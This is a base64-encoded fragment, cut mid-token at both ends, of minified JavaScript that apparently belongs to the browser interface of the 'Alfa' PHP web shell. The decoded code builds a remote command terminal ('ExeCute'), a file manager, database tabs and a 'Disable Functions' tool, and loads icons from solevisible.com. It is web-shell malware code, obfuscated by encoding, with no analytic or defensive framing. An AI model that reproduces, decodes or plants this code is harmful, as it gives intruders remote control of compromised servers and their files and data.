KS5xdWVyeVNlbGVjdG9yKCIuZ2V0Y29uZmlnIikuc2V0QXR0cmlidXRlKCJiYXNlX2lkIix0KX1jYXRjaChlKXt9ZGF0YWJhc2Vfd2luZG93X2lzX21pbmltaXplZHx8KGQuYm9keS5zdHlsZS5vdmVyZmxvdz0iaGlkZGVuIil9ZnVuY3Rpb24gbG9hZFBvcFVwT3BUaW9ucyhlLHQpe2NvbnNvbGUubG9nKGUpLGFsZmFfYmVmb3JlX2RvX2FjdGlvbl9pZD0iIiwkKCJvcHRpb25zX3dpbmRvdyIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIjt2YXIgYT0kKCJvcHRpb25fIitlKTtpZihhbGZhX2Nhbl9hZGRfb3B0KXthbGZhX2Nhbl9hZGRfb3B0PSExO3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5vcHRpb25zX2hvbGRlci5vcHRpb25faXNfYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgib3B0aW9uX2lzX2FjdGl2ZSIpfWNhdGNoKGUpe312YXIgaT0iIixsPSQoIm1lbnVfb3B0XyIrZSkuaW5uZXJIVE1MOyJtYXJrZXQiPT1lP2w9IkFsZmEgTWFya2V0IjoiR2V0RGlzRnVuYyI9PWUmJihsPSJEaXNhYmxlIEZ1bmN0aW9ucyIpO3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIiNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc190YWIgLnRhYl9uYW1lLnRhYl9pc19hY3RpdmUiKS5jbGFzc0xpc3QucmVtb3ZlKCJ0YWJfaXNfYWN0aXZlIil9Y2F0Y2goZSl7fWlmKG51bGwhPWEpe3ZhciByPWEuZ2V0QXR0cmlidXRlKCJvcHRfY291bnQiKTtudWxsIT1yPyhpPXBhcnNlSW50KHIpKzEsYS5zZXRBdHRyaWJ1dGUoIm9wdF9jb3VudCIsaSkpOihpPTEsYS5zZXRBdHRyaWJ1dGUoIm9wdF9jb3VudCIsaSkpfXZhciBvPSJvcHRpb25fIitlK2k7ZC5xdWVyeVNlbGVjdG9yKCIjb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfY29udGVudCIpLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsJzxkaXYgaWQ9IicrbysnIiBjbGFzcz0ib3B0aW9uc19ob2xkZXIiPicrdCsiPC9kaXY+IiksZC5xdWVyeVNlbGVjdG9yKCIjb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfdGFiIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLCc8ZGl2IG9wdF9pZD0iJytvKyciIG9uY2xpY2s9Im9wdGlvbnNUYWJDb250cm9sbGVyKHRoaXMpOyIgdGl0bGU9IicrbCsnIiBpZD0idGFiXycrbysnIiBjbGFzcz0idGFiX25hbWUgdGFiX2lzX2FjdGl2ZSI+JytsKycgPGltZyBvcHRfaWQ9IicrbysnIiBvbmNsaWNrPSJjbG9zZU9wdGlvbih0aGlzLGV2ZW50KTtyZXR1cm4gZmFsc2U7IiB0aXRsZT0iW2Nsb3NlXSIgc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvZGVsZXRlLnN2ZyI+PC9kaXY+JyksJChvKS5jbGFzc0xpc3QudG9nZ2xlKCJvcHRpb25faXNfYWN0aXZlIiksZC5xdWVyeVNlbGVjdG9yQWxsKCIjIitvKyIgZm9ybSwgIyIrbysiIGEiKS5mb3JFYWNoKGZ1bmN0aW9uKHQpe3ZhciBhPXQuY2xhc3NMaXN0LnZhbHVlO2lmKCJnZXRjb25maWciPT1hfHwicmVqZWN0bWUiPT1hKXJldHVybiExO2lmKCJGT1JNIj09dC50YWdOYW1lKXt2YXIgbD10LmdldEF0dHJpYnV0ZSgib25zdWJtaXQiKTt0LnNldEF0dHJpYnV0ZSgib25zdWJtaXQiLCdhbGZhQmVmb3JlRG9BY3Rpb24oIicrZStpKyciKTsnK2wpLHQuc2V0QXR0cmlidXRlKCJvcHRfaWQiLGUraSl9ZWxzZXtsPXQuZ2V0QXR0cmlidXRlKCJvbmNsaWNrIik7dC5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCdhbGZhQmVmb3JlRG9BY3Rpb24oIicrZStpKyciKTsnK2wpfX0pO3RyeXskKG8pLnF1ZXJ5U2VsZWN0b3IoIi5nZXRjb25maWciKS5zZXRBdHRyaWJ1dGUoImJhc2VfaWQiLGUraSl9Y2F0Y2goZSl7fXJldHVybiBlK2l9YS5pbm5lckhUTUw9dDt2YXIgbj0kKCJ0YWJfb3B0aW9uXyIrZSk7bnVsbCE9biYmKCgtMT09bi5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigidGFiX2lzX2FjdGl2ZSIpfHxvcHRpb25zX3dpbmRvd19pc19taW5pbWl6ZWQpJiYobi5jbGFzc0xpc3QuYWRkKCJ0YWItaXMtZG9uZSIpLGFsZmFTaG93Tm90aWZpY2F0aW9uKCJwcm9jY2VzcyBpcyBkb25lLi4uIixuLmlubmVyVGV4dCkpLG9wdGlvbnNfd2luZG93X2lzX21pbmltaXplZCYmYWxmYVVwZGF0ZU9wdGlvbnNCYWRnZSgib3B0aW9uc193aW5kb3ciKSksZC5xdWVyeVNlbGVjdG9yQWxsKCIjb3B0aW9uXyIrZSsiIGZvcm0sICNvcHRpb25fIitlKyIgYSIpLmZvckVhY2goZnVuY3Rpb24odCl7dmFyIGE9dC5jbGFzc0xpc3QudmFsdWU7aWYoImdldGNvbmZpZyI9PWF8fCJyZWplY3RtZSI9PWEpcmV0dXJuITE7aWYoIkZPUk0iPT10LnRhZ05hbWUpe3ZhciBpPXQuZ2V0QXR0cmlidXRlKCJvbnN1Ym1pdCIpO3Quc2V0QXR0cmlidXRlKCJvbnN1Ym1pdCIsJ2FsZmFCZWZvcmVEb0FjdGlvbigiJytlKyciKTsnK2kpLHQuc2V0QXR0cmlidXRlKCJvcHRfaWQiLGUpfWVsc2V7aT10LmdldEF0dHJpYnV0ZSgib25jbGljayIpO3Quc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwnYWxmYUJlZm9yZURvQWN0aW9uKCInK2UrJyIpOycraSl9fSk7dHJ5e2EucXVlcnlTZWxlY3RvcigiLmdldGNvbmZpZyIpLnNldEF0dHJpYnV0ZSgiYmFzZV9pZCIsZSl9Y2F0Y2goZSl7fW9wdGlvbnNfd2luZG93X2lzX21pbmltaXplZHx8KGQuYm9keS5zdHlsZS5vdmVyZmxvdz0iaGlkZGVuIil9ZnVuY3Rpb24gYWxmYUJlZm9yZURvQWN0aW9uKGUpe2FsZmFfYmVmb3JlX2RvX2FjdGlvbl9pZD1lfWZ1bmN0aW9uIGFsZmFMb2FkZXJPblRvcChlKXskKCJhX2xvYWRlciIpLnN0eWxlLmRpc3BsYXk9ZSxkLmJvZHkuc3R5bGUub3ZlcmZsb3c9ImJsb2NrIj09ZT8iaGlkZGVuIjoidmlzaWJsZSJ9ZnVuY3Rpb24gYWxmYUFqYXhDb250cm9sbGVyKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJwYXJlbnQiKTskKCJsb2FkZXJfIit0KS5yZW1vdmUoKSwiZmlsZXNtYW5faG9sZGVyIj09dC5zdWJzdHIoMCwxNSkmJigkKHQpLnN0eWxlLm1pbkhlaWdodD0iMCIpLF9BTEZBX0FKQVhfLmhhc093blByb3BlcnR5KHQpJiZfQUxGQV9BSkFYX1t0XS5hYm9ydCgpfWZ1bmN0aW9uIGNsb3NlRGF0YWJhc2UoZSx0KXt0LnN0b3BQcm9wYWdhdGlvbigpO3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTtpZigkKGEpLnJlbW92ZSgpLC0xIT0kKCJ0YWJfIithKS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigic3FsLWFjdGl2ZS10YWIiKSlpZigoZT1kLnF1ZXJ5U2VsZWN0b3JBbGwoIi5zcWwtdGFicyAuc3FsLXRhYm5hbWUiKSkubGVuZ3RoPjEpe2VbMF0uY2xhc3NMaXN0LmFkZCgic3FsLWFjdGl2ZS10YWIiKTt2YXIgaT1lWzBdLmdldEF0dHJpYnV0ZSgib3B0X2lkIik7bnVsbCE9JChpKSYmJChpKS5jbGFzc0xpc3QudG9nZ2xlKCJzcWwtYWN0aXZlLWNvbnRlbnQiKX1lbHNlIGVkaXRvckNsb3NlKCJkYXRhYmFzZV93aW5kb3ciKTtkLnF1ZXJ5U2VsZWN0b3IoImRpdltvcHRfaWQ9IithKyJdIikucmVtb3ZlKCl9ZnVuY3Rpb24gY2xvc2VGbVRhYihlLHQpe3Quc3RvcFByb3BhZ2F0aW9uKCk7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoImZtX2lkIiksaT0kKCJmaWxlc21hbl90YWJfIithKTtpZigtMSE9aS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiZmlsZXNtYW4tdGFiLWFjdGl2ZSIpJiYoZT1kLnF1ZXJ5U2VsZWN0b3JBbGwoIiNmaWxlc21hbl90YWJzIC5maWxlc21hbl90YWIiKSkubGVuZ3RoPjEpe2VbMF0uY2xhc3NMaXN0LmFkZCgiZmlsZXNtYW4tdGFiLWFjdGl2ZSIpO3ZhciBsPWVbMF0uZ2V0QXR0cmlidXRlKCJmbV9pZCIpLHI9ImZpbGVzbWFuX2hvbGRlcl8iK2w7aWYobnVsbCE9JChyKSl7JChyKS5jbGFzc0xpc3QudG9nZ2xlKCJmaWxlc21hbi1hY3RpdmUtY29udGVudCIpO3ZhciBvPSQoImZpbGVzbWFuX3RhYl8iK2wpLmdldEF0dHJpYnV0ZSgicGF0aCIpO2luaXREaXIobyksZC5tZi5jLnZhbHVlPW8sYWxmYV9jdXJyZW50X2ZtX2lkPWx9fWkucmVtb3ZlKCksJCgiZmlsZXNtYW5faG9sZGVyXyIrYSkucmVtb3ZlKCksYWxmYUZpbGVzbWFuVGFiSGlkZVRpdGxlKCl9ZnVuY3Rpb24gY2xvc2VPcHRpb24oZSx0KXt0LnN0b3BQcm9wYWdhdGlvbigpO3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTtpZigkKGEpLnJlbW92ZSgpLC0xIT0kKCJ0YWJfIithKS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigidGFiX2lzX2FjdGl2ZSIpKWlmKChlPWQucXVlcnlTZWxlY3RvckFsbCgiLm9wdGlvbnNfdGFiIC50YWJfbmFtZSIpKS5sZW5ndGg+MSl7ZVswXS5jbGFzc0xpc3QuYWRkKCJ0YWJfaXNfYWN0aXZlIik7dmFyIGk9ZVswXS5nZXRBdHRyaWJ1dGUoIm9wdF9pZCIpO251bGwhPSQoaSkmJiQoaSkuY2xhc3NMaXN0LnRvZ2dsZSgib3B0aW9uX2lzX2FjdGl2ZSIpfWVsc2UgZWRpdG9yQ2xvc2UoIm9wdGlvbnNfd2luZG93Iik7ZC5xdWVyeVNlbGVjdG9yKCJkaXZbb3B0X2lkPSIrYSsiXSIpLnJlbW92ZSgpfWZ1bmN0aW9uIGhpc3RvcnlQYW5lbENvbnRyb2xsZXIoZSl7ImhpZGRlbiI9PWUuZ2V0QXR0cmlidXRlKCJtb2RlIik/KGQucXVlcnlTZWxlY3RvcigiLmVkaXRvci1leHBsb3JlciIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItbW9kYWwiKS5zdHlsZS5tYXJnaW5MZWZ0PSIyMCUiLGUuc2V0QXR0cmlidXRlKCJtb2RlIiwidmlzaWJsZSIpLGUuc3R5bGUubGVmdD0iMTklIixlLmlubmVySFRNTD0iPDwiKTooZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLWV4cGxvcmVyIikuc3R5bGUuZGlzcGxheT0ibm9uZSIsZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLW1vZGFsIikuc3R5bGUubWFyZ2luTGVmdD0iMSUiLGUuc2V0QXR0cmlidXRlKCJtb2RlIiwiaGlkZGVuIiksZS5zdHlsZS5sZWZ0PSIwJSIsZS5pbm5lckhUTUw9Ij4+Iil9ZnVuY3Rpb24gY2xvc2VUZXJtaW5hbENvbnRlbnQoZSx0KXt0LnN0b3BQcm9wYWdhdGlvbigpO3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJ0ZXJtX2lkIik7aWYoKCQoYSkucmVtb3ZlKCksLTEhPSQoInRhYl8iK2EpLmNsYXNzTGlzdC52YWx1ZS5pbmRleE9mKCJhY3RpdmUtdGVybWluYWwtdGFiIikpJiYoZT1kLnF1ZXJ5U2VsZWN0b3JBbGwoIi50ZXJtaW5hbC10YWJzIC50ZXJtaW5hbC10YWIiKSkubGVuZ3RoPjEpe2VbMF0uY2xhc3NMaXN0LmFkZCgiYWN0aXZlLXRlcm1pbmFsLXRhYiIpO3ZhciBpPWVbMF0uZ2V0QXR0cmlidXRlKCJ0ZXJtX2lkIik7bnVsbCE9JChpKSYmJChpKS5jbGFzc0xpc3QudG9nZ2xlKCJhY3RpdmUtdGVybWluYWwtY29udGVudCIpfWQucXVlcnlTZWxlY3RvcigiZGl2W3Rlcm1faWQ9IithKyJdIikucmVtb3ZlKCl9ZnVuY3Rpb24gY2xvc2VFZGl0b3JDb250ZW50KGUsdCl7dC5zdG9wUHJvcGFnYXRpb24oKTt2YXIgYT1lLmdldEF0dHJpYnV0ZSgib3B0X2lkIik7aWYoKCQoYSkucmVtb3ZlKCksLTEhPSQoInRhYl8iK2EpLmNsYXNzTGlzdC52YWx1ZS5pbmRleE9mKCJlZGl0b3ItdGFiLWFjdGl2ZSIpKSYmKGU9ZC5xdWVyeVNlbGVjdG9yQWxsKCIuZWRpdG9yLXRhYnMgLmVkaXRvci10YWItbmFtZSIpKS5sZW5ndGg+MSl7ZVswXS5jbGFzc0xpc3QuYWRkKCJlZGl0b3ItdGFiLWFjdGl2ZSIpO3ZhciBpPWVbMF0uZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTtudWxsIT0kKGkpJiYkKGkpLmNsYXNzTGlzdC50b2dnbGUoImVkaXRvci1jb250ZW50LWFjdGl2ZSIpfWQucXVlcnlTZWxlY3RvcigiZGl2W29wdF9pZD0iK2ErIl0iKS5yZW1vdmUoKX1mdW5jdGlvbiBvcHRpb25zVGFiQ29udHJvbGxlcihlKXt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIub3B0aW9uc19ob2xkZXIub3B0aW9uX2lzX2FjdGl2ZSIpLmNsYXNzTGlzdC5yZW1vdmUoIm9wdGlvbl9pc19hY3RpdmUiKX1jYXRjaChlKXt9dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoIm9wdF9pZCIpO2lmKG51bGw9PXQpcmV0dXJuITE7JCh0KS5jbGFzc0xpc3QudG9nZ2xlKCJvcHRpb25faXNfYWN0aXZlIik7dHJ5e2QucXVlcnlTZWxlY3RvcigiI29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYiBcdC50YWJfbmFtZS50YWJfaXNfYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgidGFiX2lzX2FjdGl2ZSIpfWNhdGNoKGUpe31lLmNsYXNzTGlzdC5yZW1vdmUoInRhYi1pcy1kb25lIiksZS5jbGFzc0xpc3QuYWRkKCJ0YWJfaXNfYWN0aXZlIiksZC5xdWVyeVNlbGVjdG9yKCIub3B0LXRpdGxlIikuaW5uZXJIVE1MPWUuZ2V0QXR0cmlidXRlKCJ0aXRsZSIpLGFsZmFVcGRhdGVPcHRpb25zQmFkZ2UoIm9wdGlvbnNfd2luZG93Iil9ZnVuY3Rpb24gdGVybWluYWxUYWJDb250cm9sbGVyKGUpe3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIi50ZXJtaW5hbC10YWIuYWN0aXZlLXRlcm1pbmFsLXRhYiIpLmNsYXNzTGlzdC5yZW1vdmUoImFjdGl2ZS10ZXJtaW5hbC10YWIiKX1jYXRjaChlKXt9dHJ5e2QucXVlcnlTZWxlY3RvcigiLnRlcm1pbmFsLWNvbnRlbnQuYWN0aXZlLXRlcm1pbmFsLWNvbnRlbnQiKS5jbGFzc0xpc3QucmVtb3ZlKCJhY3RpdmUtdGVybWluYWwtY29udGVudCIpfWNhdGNoKGUpe312YXIgdD1lLmdldEF0dHJpYnV0ZSgidGVybV9pZCIpO2lmKG51bGw9PXQpcmV0dXJuITE7JCh0KS5jbGFzc0xpc3QudG9nZ2xlKCJhY3RpdmUtdGVybWluYWwtY29udGVudCIpLGUuY2xhc3NMaXN0LnJlbW92ZSgidGFiLWlzLWRvbmUiKSxlLmNsYXNzTGlzdC5hZGQoImFjdGl2ZS10ZXJtaW5hbC10YWIiKSwkKHQpLnF1ZXJ5U2VsZWN0b3IoIi5waHAtdGVybWluYWwtaW5wdXQiKS5mb2N1cygpLGFsZmFVcGRhdGVPcHRpb25zQmFkZ2UoImNnaWxvYWRlciIpfWZ1bmN0aW9uIGZpbGVzbWFuVGFiQ29udHJvbGxlcihlKXt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIuYWpheGFyZWEuZmlsZXNtYW4tYWN0aXZlLWNvbnRlbnQiKS5jbGFzc0xpc3QucmVtb3ZlKCJmaWxlc21hbi1hY3RpdmUtY29udGVudCIpfWNhdGNoKGUpe310cnl7ZC5xdWVyeVNlbGVjdG9yKCIuZmlsZXNtYW5fdGFiLmZpbGVzbWFuLXRhYi1hY3RpdmUiKS5jbGFzc0xpc3QucmVtb3ZlKCJmaWxlc21hbi10YWItYWN0aXZlIil9Y2F0Y2goZSl7fXZhciB0PWUuZ2V0QXR0cmlidXRlKCJmbV9pZCIpO2lmKG51bGw9PXQpcmV0dXJuITE7YWxmYV9jdXJyZW50X2ZtX2lkPXQsZS5jbGFzc0xpc3QuYWRkKCJmaWxlc21hbi10YWItYWN0aXZlIiksZS5jbGFzc0xpc3QucmVtb3ZlKCJ0YWItaXMtZG9uZSIpLCQoImZpbGVzbWFuX2hvbGRlcl8iK3QpLmNsYXNzTGlzdC50b2dnbGUoImZpbGVzbWFuLWFjdGl2ZS1jb250ZW50Iik7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoInBhdGgiKTtpbml0RGlyKGEpLGQubWYuYy52YWx1ZT1hfWZ1bmN0aW9uIGRiVGFiQ29udHJvbGxlcihlKXt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIuc3FsLWNvbnRlbnQuc3FsLWFjdGl2ZS1jb250ZW50IikuY2xhc3NMaXN0LnJlbW92ZSgic3FsLWFjdGl2ZS1jb250ZW50Iil9Y2F0Y2goZSl7fXRyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5zcWwtdGFibmFtZS5zcWwtYWN0aXZlLXRhYiIpLmNsYXNzTGlzdC5yZW1vdmUoInNxbC1hY3RpdmUtdGFiIil9Y2F0Y2goZSl7fXZhciB0PWUuZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTtpZihudWxsPT10KXJldHVybiExOyQodCkuY2xhc3NMaXN0LnRvZ2dsZSgic3FsLWFjdGl2ZS1jb250ZW50IiksZS5jbGFzc0xpc3QucmVtb3ZlKCJ0YWItaXMtZG9uZSIpLGUuY2xhc3NMaXN0LmFkZCgic3FsLWFjdGl2ZS10YWIiKSxhbGZhVXBkYXRlT3B0aW9uc0JhZGdlKCJkYXRhYmFzZV93aW5kb3ciKX1mdW5jdGlvbiBlZGl0b3JUYWJDb250cm9sbGVyKGUsdCl7dHJ5e2QucXVlcnlTZWxlY3RvcigiLmVkaXRvci1jb250ZW50cy5lZGl0b3ItY29udGVudC1hY3RpdmUiKS5jbGFzc0xpc3QucmVtb3ZlKCJlZGl0b3ItY29udGVudC1hY3RpdmUiKX1jYXRjaChlKXt9dmFyIGE9bnVsbDt2b2lkIDA9PT10P2E9ZS5nZXRBdHRyaWJ1dGUoIm9wdF9pZCIpOihhPWUsZT0kKCJ0YWJfIithKSk7dmFyIGk9ZWRpdG9yX2ZpbGVzWyJmaWxlXyIrYS5yZXBsYWNlKCJlZGl0b3Jfc291cmNlXyIsIiIpXTtpZih2b2lkIDAhPT1pJiYoZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLXBhdGgiKS5pbm5lckhUTUw9KGkucHdkKyIvIitpLmZpbGUpLnJlcGxhY2UoL1wvXC8vZywiLyIpKSxudWxsPT1hKXJldHVybiExOyQoYSkuY2xhc3NMaXN0LnRvZ2dsZSgiZWRpdG9yLWNvbnRlbnQtYWN0aXZlIik7dHJ5e2QucXVlcnlTZWxlY3RvcigiLmVkaXRvci10YWJzIC5lZGl0b3ItdGFiLW5hbWUuZWRpdG9yLXRhYi1hY3RpdmUiKS5jbGFzc0xpc3QucmVtb3ZlKCJlZGl0b3ItdGFiLWFjdGl2ZSIpfWNhdGNoKGUpe31lLmNsYXNzTGlzdC5yZW1vdmUoInRhYi1pcy1kb25lIiksZS5jbGFzc0xpc3QuYWRkKCJlZGl0b3ItdGFiLWFjdGl2ZSIpLGFsZmFVcGRhdGVPcHRpb25zQmFkZ2UoImVkaXRvciIpfWZ1bmN0aW9uIGFsZmFVcGRhdGVPcHRpb25zQmFkZ2UoZSl7dmFyIHQ9ZC5xdWVyeVNlbGVjdG9yKCIjIitlKyItbWluaW1pemVkIC5vcHRpb25zX21pbl9iYWRnZSIpO2lmKG51bGwhPXQpe3ZhciBhPWQucXVlcnlTZWxlY3RvckFsbCgiIyIrZSsiIC50YWItaXMtZG9uZSIpLmxlbmd0aDt0LmlubmVySFRNTD1hLHQuc3R5bGUudmlzaWJpbGl0eT1hPjA/InZpc2libGUiOiJoaWRkZW4ifX1mdW5jdGlvbiBhbGZhT3BlblBocFRlcm1pbmFsKGUpe2lmKHBocF90ZW1yaW5hbF91c2luZ19jZ2kmJnZvaWQgMD09PWUpc2hvd0VkaXRvcigiY2dpbG9hZGVyIik7ZWxzZXskKCJjZ2lsb2FkZXIiKS5zdHlsZS5kaXNwbGF5PSJibG9jayIsJCgiY2dpbG9hZGVyIikuc3R5bGUuYmFja2dyb3VuZD0icmdiYSgwLCAwLCAwLCAwLjU3KSIsJCgiY2dpZnJhbWUiKS5zdHlsZS5iYWNrZ3JvdW5kPSJyZ2JhKDAsIDAsIDAsIDAuODEpIiwkKCJjZ2lmcmFtZSIpLnN0eWxlLmJvcmRlcj0iMXB4IHNvbGlkIHJnYigzMCwgODYsIDExNSkiLCQoImNnaWZyYW1lIikuc3R5bGUuaGVpZ2h0PSI5MCUiLCQoImNnaWZyYW1lIikuc3R5bGUucGFkZGluZz0iM3B4IixkLnF1ZXJ5U2VsZWN0b3IoIiNjZ2lsb2FkZXIgLm9wdC10aXRsZSIpLmlubmVySFRNTD0iVGVybWluYWwiO3ZhciB0PSIiLGE9IiIsaT0idGVybWluYWxfaWRfIitnZXRSYW5kb20oMTApO3ZvaWQgMD09PWUmJih0PSIgYWN0aXZlLXRlcm1pbmFsLWNvbnRlbnQiLGE9IiBhY3RpdmUtdGVybWluYWwtdGFiIiksZC5xdWVyeVNlbGVjdG9yKCIjY2dpZnJhbWUgLnRlcm1pbmFsLWNvbnRlbnRzIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwnPGRpdiBpZD0iJytpKyciIGNsYXNzPSJ0ZXJtaW5hbC1jb250ZW50Jyt0KyciPjxkaXYgY2xhc3M9InBocC10ZXJtaW5hbC1vdXRwdXQiPjxkaXY+PGJ1dHRvbiBjbGFzcz0idGVybWluYWwtYnRuLWZvbnRjdGwiIG9uQ2xpY2s9ImNoYW5nZVRlcm1pbmFsRm9udFNpemUoXCcnK2krJ1wnLDEpOyI+KzwvYnV0dG9uPjxidXR0b24gY2xhc3M9InRlcm1pbmFsLWJ0bi1mb250Y3RsIiBvbkNsaWNrPSJjaGFuZ2VUZXJtaW5hbEZvbnRTaXplKFwnJytpKyInLDApO1wiPi08L2J1dHRvbj48aW5wdXQgb25jaGFuZ2U9XCJhbGZhVGVybWluYWxDaGFuZ2Vjb2xvcih0aGlzLCciK2krJ1wnKTsiIHN0eWxlPSJoZWlnaHQ6IDE4cHg7YmFja2dyb3VuZDogI2RkZTJlMjsiIHR5cGU9ImNvbG9yIj48L2Rpdj48cHJlIGNsYXNzPSJtbDEiIHN0eWxlPSJib3JkZXI6dW5zZXQ7aGVpZ2h0OiA5MCU7Ij48L3ByZT48L2Rpdj48ZGl2Pjxmb3JtIHRlcm1faWQ9IicraSsnIiBvblN1Ym1pdD0iYWxmYUV4ZWNUZXJtaW5hbCh0aGlzKTt0aGlzLmMudmFsdWU9XCdcJztyZXR1cm4gZmFsc2U7IiBhdXRvY29tcGxldGU9Im9mZiIgc3R5bGU9Im1hcmdpbi10b3A6IDEwcHg7Ij48ZGl2IHN0eWxlPSJvdmVyZmxvdzogYXV0bzt3aGl0ZS1zcGFjZTogbm93cmFwOyI+PGRpdiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWJsb2NrO2NvbG9yOiM0ZmJlYzM7bWFyZ2luLWJvdHRvbTo1cHg7bWFyZ2luLXJpZ2h0OjVweDsiPkNXRDp+IyA8L2Rpdj48ZGl2IHN0eWxlPSJkaXNwbGF5OiBpbmxpbmUtYmxvY2s7Y29sb3I6IzQyZWM0MjsiIGNsYXNzPSJwaHAtdGVybWluYWwtY3VycmVudC1kaXIiPjwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9InBvc2l0aW9uOnJlbGF0aXZlOyI+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDBmZjA4O2ZvbnQtc2l6ZTogMjVweDsiPiQgPC9zcGFuPjxpbnB1dCBzdHlsZT0icGFkZGluZzogOHB4O2ZvbnQtc2l6ZTogMjBweDt3aWR0aDogNjclO2JvcmRlcjogMXB4IHNvbGlkICMyNzk3OUI7cGFkZGluZy1yaWdodDozNXB4OyIgb25rZXl1cD0iYWxmYVdhbGtJblRlcm1pbmFsSGlzdG9yeSh0aGlzLGV2ZW50LFwnJytpKydcJyk7IiB0ZXJtX2lkPSInK2krJyIgY2xhc3M9InBocC10ZXJtaW5hbC1pbnB1dCIgdHlwZT0idGV4dCIgbmFtZT0iYyIgb25mb2N1cz0iY2xvc2VIaXN0b3J5Q21kKFwnZnJlZVwnLHRoaXMpOyIgcGxhY2Vob2xkZXI9ImxzIC1sYSI+PGJ1dHRvbiBjbGFzcz0iYnV0dG9uIiBzdHlsZT0iY29sb3I6ICMyNzk3OUI7cGFkZGluZzogMTJweDttYXJnaW4tbGVmdDogMTBweDtib3JkZXItcmFkaXVzOiAycHg7Zm9udC13ZWlnaHQ6IGJvbGRlcjsiPkV4ZUN1dGU8YnV0dG9uIHRlcm1faWQ9IicraSsnIiBjbGFzcz0iYnV0dG9uIiBzdHlsZT0iY29sb3I6ICMyNzk3OUI7cGFkZGluZzogMTJweDttYXJnaW4tbGVmdDogMTBweDtib3JkZXItcmFkaXVzOiAycHg7Zm9udC13ZWlnaHQ6IGJvbGRlcjsiIG9uQ2xpY2s9ImFsZmFFeGVjVGVybWluYWwodGhpcywgMSk7cmV0dXJuIGZhbHNlOyI+Q3VycmVudCBEaXI8L2J1dHRvbj48ZGl2IGNsYXNzPSJjbWQtaGlzdG9yeS1ob2xkZXIiPjxkaXYgY2xhc3M9ImNvbW1hbmRzLWhpc3RvcnktaGVhZGVyIj5IaXN0b3J5PC9kaXY+PHNwYW4gb25DbGljaz0iY2xlYXJUZXJtaW5hbEhpc3RvcnkoKTsiIHN0eWxlPSJib3JkZXItYm90dG9tOiAxcHggc29saWQ7bWFyZ2luLWJvdHRvbTogNXB4O2Rpc3BsYXk6IGlubGluZS1ibG9jaztwYWRkaW5nOiA1cHg7Y29sb3I6ICM1OWRlNjk7Y3Vyc29yOiBwb2ludGVyOyI+Q2xlYXIgaGlzdG9yeTwvc3Bhbj48ZGl2IHN0eWxlPSJvdmVyZmxvdzogYXV0bztoZWlnaHQ6IDgyJTsiIGNsYXNzPSJjb21tYW5kcy1oaXN0b3J5Ij48L2Rpdj48L2Rpdj48ZGl2IHRlcm1faWQ9IicraSsnIiBjbGFzcz0iY21kLWhpc3RvcnktaWNvbiIgbW9kZT0iIiBvbmNsaWNrPSJjbG9zZUhpc3RvcnlDbWQodGhpcyk7Ij48aW1nIHN0eWxlPSJ3aWR0aDoyN3B4OyIgc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvdGltZTIuc3ZnIj48L2Rpdj48L2Zvcm0+PC9kaXY+PC9kaXY+PC9kaXY+Jyk7dHJ5eyQoInRlcm1pbmFsX25ld190YWIiKS5yZW1vdmUoKX1jYXRjaChlKXt9ZC5xdWVyeVNlbGVjdG9yKCIjY2dpZnJhbWUgLnRlcm1pbmFsLXRhYnMiKS5pbnNlcnRBZGphY2VudEhUTUwoImJlZm9yZWVuZCIsJzxkaXYgb25jbGljaz0idGVybWluYWxUYWJDb250cm9sbGVyKHRoaXMpOyIgdGVybV9pZD0iJytpKyciIGlkPSJ0YWJfJytpKyciIGNsYXNzPSJ0ZXJtaW5hbC10YWInK2ErJyI+VGVybWluYWwgPGltZyB0ZXJtX2lkPSInK2krJyIgb25jbGljaz0iY2xvc2VUZXJtaW5hbENvbnRlbnQodGhpcyxldmVudCk7cmV0dXJuIGZhbHNlOyIgdGl0bGU9IltjbG9zZV0iIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2RlbGV0ZS5zdmciPjwvZGl2